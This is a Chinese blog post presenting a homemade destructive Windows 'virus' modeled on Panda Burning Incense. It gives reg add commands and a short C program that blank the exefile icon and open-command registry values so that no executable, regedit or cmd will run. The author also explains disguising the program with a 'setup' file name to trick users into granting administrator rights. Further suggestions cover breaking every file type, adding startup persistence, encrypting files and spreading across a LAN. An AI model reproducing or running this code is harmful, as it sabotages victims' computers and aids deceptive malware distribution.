病毒:注册表的认识以及用c语言编写一个“百分之一熊猫烧香“

好久不更新了,这次来点干货.
众所周知,熊猫烧香是一个威力强大的病毒.曾经的电脑只要被感染以后就只有重装系统这条路.
当然,现在可能对这种病毒已经有所防御,所以威胁没有以前那么大了.
熊猫烧香一个比较明显的特点就是会感染所有exe可执行文件.
当然,其他一些功能也很牛逼,但是无奈我水平有限,目前只能做到感染exe文件.不过如果你们愿意,可以将电脑上的任何类型文件进行感染,我这次仅仅是用exe文件做示范.

一.预先要知道的东西

我们这个病毒实现的原理是对注册表进行下手.
众所周知,注册表是系统的核心,我们所有的设置都保存在注册表里面.因此,没事干千万不要乱动注册表.
我们在"运行"中输入"regedt"即可打开注册表.如图.
在这里插入图片描述
要想学习注册表,我可以教你们个方法:直接将图中的每一个项的名称去百度,第一条里面就写的很详细,每个项时干什么的都会有.
比如我想直到HKEY_CLASSES_ROOT这一项的详细作用,就可以直接搜这个,如图.
在这里插入图片描述
百度百科写的很详细了已经,所以我就不赘述了.
当然,学习一定要有总结的习惯.下图是我在学习注册表的时候总结的一些比较关键的东西.如图.
在这里插入图片描述
这里面包括了病毒启动项的位置,以及各种可能用的到的地方.这个就看你们的脑洞了.
现在想一个问题:
当你点开一个exe程序或者一个txt文本的时候,系统是怎么知道你点开的是什么呢?它怎么知道txt文本是用文本编辑器打开呢?
原因就是我们的注册表.
我们的注册表里面的某个位置对我们按照某个程序打开文件的操作进行了记录.
比如,我们想知道.exe程序是以什么方式打开,我们可以查看一下位置:
HKEY_CLASSES_ROOT.exe
在这里插入图片描述
可以看到默认里面写了个exefile.我们继续寻找exefile.
在这里插入图片描述

我们看到exefile下面有三个子项.
第一个DefualtIcon代表程序图标是什么.
第二个shell/open/command代表打开程序会执行什么命令.
第三个我们不用关心.
这里有个很好的例子,说的是当你自己新建一个随便的后缀名,然后想以某个程序打开,如何进行注册表的修改.
链接附上.
https://blog.csdn.net/a302549450/article/details/84308175
这个是必须要看的.我们后面的东西就是根据这个基础做出来的,大家可以在自己的虚拟机上试一下.

二.使用命令修改注册表

cmd中专门有一个命令是进行修改注册表.名称是reg.我们可以看下用法.
在这里插入图片描述
可以看到有12个参数.我们用到的是add这个修改参数.
比如,我们想将exe文件的图标改没,可以这样写:

reg add HKEY_CLASSES_ROOT\exefile\DefaultIcon /ve /d "" /f

我解释一下这个命令.
reg add就不用说了,在注册表中添加的意思.
HKEY_CLASSES_ROOT\exefile\DefaultIcon,是exe文件图标的引用位置.
/ve,使用默认名新建值.
/d “”,设置新建项的值.
/f,不用进行确实强行写入.
当然,我们这个是将原来的值覆盖了,不能叫做新建.
执行结果我懒得截图了,你们自己想象吧.其他参数你们也可以进行一下研究,都很有意思.

改图标的我这头不知道为什么没有实现成功.原因我也不太清楚,你们可以自己想想为什么.
或许是需要重启一下?我也没试

三.病毒实现效果

先放结果图.执行以后,随便点一个exe程序,就会出现打不开exe文件的情况.
在这里插入图片描述
我试了试注册表,好吧,也打不开了.
在这里插入图片描述
很尴尬的是…cmd也打不开了,本来还想用命令恢复,看来也不行了.
在这里插入图片描述
我想到的解决方法就是进入安全模式,或者是重装系统等等.
由于是我win7虚拟机,所以我直接恢复镜像了.
这里先说明一下原理.
我们的注册表中记录了所有我们系统的配置信息.
当我们修改上面我给出位置的信息的时候,将command的值改成空,当我们执行exe文件的时候系统就不知道改用什么打开了,所以会报错.
我这个仅仅是进行了一个简单的修改,如果你比较狠,甚至直接将注册表删掉都行,这样电脑就直接废了,连机都开不了.
你还可以改些别的,比如我在开始给的图片中某条记录是关于你电脑中的所有win32程序的安装位置.根据这个,我们是不是还可以干点别的坏事呢?
把这些学明白了,简直为所欲为了,哈哈.

四.命令

一共是两条.

reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d "" /f
reg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d "" /f

具体我就不解释了,上面有.
这两条命令执行以后,就会出现如图的效果.
当然,这个是有限制的,需要以管理员身份运行.不过在win2003上面是没有限制的,win7有,其他系统我没测试.
我倒是想到了一个解决方法,后面我会写.

五.C代码实现

会c语言的都知道system命令吧?我之前有一篇文章里面做了三个小病毒,原理就是这个.不说废话,直接上代码.

#include <stdio.h>
#include <stdlib.h>
int main(){
    system("reg add HKEY_CLASSES_ROOT\\exefile\\DefaultIcon /ve /d \"\" /f");
    system("reg add HKEY_CLASSES_ROOT\\exefile\\shell\\open\\command /ve /d \"\" /f");
    return 0;
}


由于需要考虑到转义字符的关系,所以我将cmd命令稍微修改了一下.
还记得那会儿说的关于管理员的事情吗?
我试了一下,如果不以管理员方式打开,会出现以下提示:
在这里插入图片描述
仅仅以右键管理员方式打开才能正常运行.但是哪个人看到这个不会怀疑呢?
所以我想到了windows系统的一个特点:会把包含setup文件名的文件当作安装程序.
因此,我们把文件改成包含setup文件名即可,然后点击运行.
在这里插入图片描述
当然,仍然会提示需要管理员权限,但是这样不是正常了很多么?
许多软件安装的时候都是这样,所以一般人没人会想到这是个病毒程序.

好了,就先写这么多吧.
在HKEY_CLASSES_ROOT里面的后缀名都是可以修改的,你可以写个程序,先读取注册表中所有的后缀,然后按照上面的方法进行修改,这样改完电脑上面的任何文件都无法打开.
你还可以将这个程序添加到注册表中的启动项中,之后对文件进行一个加密,又或者写个扫描器然后对局域网内的电脑进行传播,等等等等…
想想就妙,恐怕半夜都能笑出来,哈哈哈哈哈哈
剩下的有机会在写吧,这次就写这么多了.
这个病毒算是一个效果还不错的病毒.
由于我是模仿熊猫烧香做的,所以我起名叫做"百分之一熊猫烧香",算是对大佬的致敬.

  • 8
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
2012-06-13 12:51 688 显示板块正在浏览的会员数量.rar 2012-06-13 13:24 1,451 marquee基本语法的全解释.txt 2012-06-13 12:49 4,414 C语言实现BMP转换JPG.txt 2012-06-13 12:50 5,627 QQ.txt 2011-03-15 22:50 6,868 人品测试.c 2012-06-13 12:46 7,808 CppSQLite3U.zip 2012-06-13 12:49 9,515 人品测试程序(含代码).rar 2012-06-13 13:21 10,160 类似google搜索提示源码.rar 2012-06-13 13:20 14,643 模煳算法 C 程序.rar 2012-06-13 12:52 19,651 拦截网络数据的小玩意.txt 2012-06-13 13:11 26,323 隐藏进程.rar 2011-03-15 22:51 27,510 人品测试.exe 2012-06-13 13:37 41,984 熊猫烧香病毒源代码.doc 2012-06-13 13:11 42,760 系统监视工具.rar 2012-06-13 12:49 50,422 系统强力优化优化.cmd 2012-06-13 13:18 50,688 BP神经网络C实现.doc 2012-06-13 13:47 75,311 IBM-PC汇编语言程序设计(第五版)书中源码.rar 2012-06-13 12:48 107,488 【随书附盘】Excel高级报表宝典.rar 2012-06-13 12:48 123,645 【数据文件】商务智能与数据挖掘Microsoft SQL Server应用.rar 2012-06-13 12:46 143,886 asp制作时钟.rar 2012-06-13 12:51 168,726 UCOS-Keil.rar 2012-06-13 12:53 169,265 12.FTP上传下载文件演示.rar 2012-06-13 13:46 194,132 200个小游戏原源代码Code.zip 2012-06-13 12:54 257,602 《html深入浅出》源代码.rar 2012-06-13 12:47 306,755 Graphics32 Canny Edge Detect.rar 2012-06-13 13:37 371,200 C++矩阵类.doc 2012-06-13 12:49 418,042 250个Java实例源代码.rar 2012-06-13 13:30 590,473 坦克大战游戏源码.素材.文档.zip 2012-06-13 12:53 656,958 nginx源码剖析.pdf 2012-06-13 12:52 720,948 STM32中断.RAR 2012-06-13 13:30 1,124,527 图像模式识别--VC++技术实现.zip 2012-06-13 13:07 2,173,078 14123166.bmp 2012-06-13 13:47 2,189,856 27个全屏触摸屏版JAVA游戏打包下载.rar 2012-06-13 13:40 2,410,554 [瞬间放松法七日通].(英)霍尔.(英)利德利尔.扫描版.pdf 2012-06-13 13:23 3,283,597 MathGL应用实践_例程_vs2003.rar 2012-06-13 13:15 3,670,884 关键词分析工具(支持批量查询).zip 2012-06-13 13:16 4,782,225 STM32F_ARM微处理器固件库说明文档.pdf 2012-06-13 13:37 5,738,216 象棋游戏.zip 2012-06-13 13:32 6,340,651 C++开发的股票分析系统的原代码程序.rar 2012-06-13 13:11 8,506,521 76个qt例子非常适合学习qt编程.rar 2012-06-13 13:38 9,178,682 Lucene 3.0 原理与代码分析完整版.pdf 2012-06-13 13:46 10,582,426 姚晨屏保(宽屏).exe 2012-06-13 13:10 23,625,694 Visual.C.系统开发实例精粹(源代码).7z 2012-06-13 13:46 25,062,737 linux设备驱动开发详解的光盘源码,里面有很多linux设备驱动的经典例子linuxdriver_code_tool.RAR 2012-06-13 13:38 27,307,573 VC++6.0+MSDN+(精简版+大小:74.87M).part2.rar 2012-06-13 13:44 39,433,034 [自己动手写操作系统].于渊.无水印影印版(《Orange's一个操作系统的实现》的第一版).pdf

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值